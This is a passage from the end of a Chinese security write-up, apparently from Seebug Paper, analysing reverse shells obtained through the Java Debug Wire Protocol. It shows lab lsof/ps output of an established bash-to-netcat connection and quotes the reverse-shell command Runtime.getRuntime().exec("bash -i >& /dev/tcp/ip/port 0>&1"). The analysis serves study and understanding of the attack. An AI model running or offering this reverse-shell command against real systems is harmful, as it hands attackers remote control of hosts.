nc       9977 username    4u  IPv4 363962      0t0  TCP localhost:12345->localhost:51406 (ESTABLISHED)
bash    10120 username    0u  IPv4 370930      0t0  TCP localhost:51406->localhost:12345 (ESTABLISHED)
bash    10120 username    1u  IPv4 370930      0t0  TCP localhost:51406->localhost:12345 (ESTABLISHED)
bash    10120 username    2u  IPv4 370930      0t0  TCP localhost:51406->localhost:12345 (ESTABLISHED)
(jdwp-rce/ps -ef | grep 10120
username  10120 10107  0 17:31 pts/0    00:00:00 /bin/bash -i

可以看到/bin/bash -inc已經建立了ESTABLISHED的連接,從而實現了反彈shell。為什么是這個樣子?其實通過前面的分析,其實已經可以知道JDWP反彈shell的原理本質上還是利用的Runtime.getRuntime().exec("bash -i >& /dev/tcp/ip/port 0>&1");這種方式反彈shell,所以本質上和JAVA并沒有關系。最后的分析也證實了這一點。

總結

總體來說,無論什么樣類型的反彈shell,其實本質上都是固定的那幾種方式,可能就是前面需要繞過或者是變形一下而已。

參考

  1. https://www.ibm.com/developerworks/cn/java/j-lo-jpda3/index.html
  2. https://ioactive.com/hacking-java-debug-wire-protocol-or-how/
  3. https://qsli.github.io/2018/08/12/jdwp/

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/933/